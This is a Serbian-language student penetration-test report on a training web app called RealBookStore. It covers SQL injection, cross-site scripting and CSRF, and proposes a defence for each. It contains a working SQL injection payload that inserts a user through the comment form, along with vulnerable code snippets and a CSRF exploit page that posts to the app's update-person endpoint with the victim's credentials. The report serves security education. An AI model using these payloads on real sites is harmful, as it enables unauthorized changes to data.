

Ivana Pantic 108/2019

28.2.2024

## Istorija izmena

[illegible]

# Sadržaj

Istorija izmena.....	1
Uvod.....	3
O veb aplikaciji.....	3
Kratak pregled rezultata testiranja.....	3
SQL injection.....	4
Napad: Ubacivanje novog usera u tabelu "persons" (SQL injection).....	4
Metod napada:.....	4
Predlog odbrane:.....	4
Cross-site scripting.....	5
Napad: Ubacivanje novog usera u tabelu "persons".....	5
Metod napada:.....	5
Predlog odbrane:.....	5
CSRF.....	6
Metod napada:.....	7
Predlog odbrane:.....	7
Zaključak.....	8

# Uvod

Ovaj izveštaj se bavi ranjivostima pronađenim u dole opisanoj veb aplikaciji.

## O veb aplikaciji

RealBookStore je veb aplikacija koja pruža mogućnosti pretrage, ocenjivanja i komentarisanja knjiga.

Aplikacija RealBookStore omogućava sledeće:

- ⌚ Pregled i pretragu knjiga.
- ⌚ Dodavanje nove knjige.
- ⌚ Detaljan pregleda knjige kao i komentarisanje i ocenjivanje knjige.
- ⌚ Pregled korisnika aplikacije.
- ⌚ Detaljan pregled podataka korisnika.

## Kratak pregled rezultata testiranja

*Ovde idu kratko opisani rezultati testiranja: pronađene ranjivosti i nivo opasnosti.*

<i>Nivo opasnosti</i>	<i>Broj ranjivosti</i>
<b>Low</b>	3
<b>Medium</b>	2
<b>High</b>	1

# SQL injection

## Napad: Ubacivanje novog usera u tabelu "persons" (SQL injection)

### Metod napada:

Na stranici za komentare, ubaciti sledeci kod

```
String query = "insert into comments(bookId, userId, comment) values (" +  
comment.getBookId() + ", " + comment.getUserId() + ", " +  
comment.getComment() + "));"
```

### Predlog odbrane:

Cuvanje imena korisnika koristeći klasu PreparedStatement umesto Statement

Bruce Wayne

They are taking the hobbits to Isengard. P.S. I am not Batman

Add comment

```
comment'); insert into persons(firstName,  
lastName, email) values ('Flo', 'ra',  
'Flora@gmail.com'
```

Create comment

© 2023 Copyright: [RBS](#)

## Users

Search...				Search
#	First Name	Last Name	Email	
1	Bruce	Wayne	notBatman@gmail.com	<a href="#">View profile</a>
2	Sam	Vimes	night-watch@gmail.com	<a href="#">View profile</a>
3	Tom	Riddle	theyGotMyNose@gmail.com	<a href="#">View profile</a>
4	Quentin	Tarantino	qt5@gmail.com	<a href="#">View profile</a>
5	Flo	ra	Flora@gmail.com	<a href="#">View profile</a>

© 2023 Copyright: [RBS](#)

# Cross-site scripting

Napad: Ubacivanje novog usera u tabelu "persons"

Metod napada:

Ubaciti img element I onerror funkciju sa xss kodom u ime korisnika I cekati da neko pretrazi datog korisnika

Opasan kod:

```
element.innerHTML = person.email;
```

Predlog odbrane:

Zameniti innerHTML sa textContent.

# CSRF

Napad: Menjanje informacija o korisniku preko alternativne stranice

Metod napada:

Iskoristimo korisnika da klikne dugme na stranici sto ce neznatno njemu poslati zahtev web aplikaciji

```
9      <div onclick="exploit()" style="cursor:pointer;text-align:center;">
10      
11      <h1>Click here!</h1>
12  </div>
13
14  <script>
15      function exploit() {
16          const formData = new FormData();
17          formData.append('id', 1);
18          formData.append('firstName', 'Batman');
19          formData.append('lastName', 'Dark Knight');
20          fetch('http://localhost:8080/update-person',
21              {method: 'POST', body: formData, credentials: 'include'});
22      }
23  </script>
24  </body>
25  </html>
26
```

Predlog odbrane:



Dodati CSRF token radi bezbednosti.

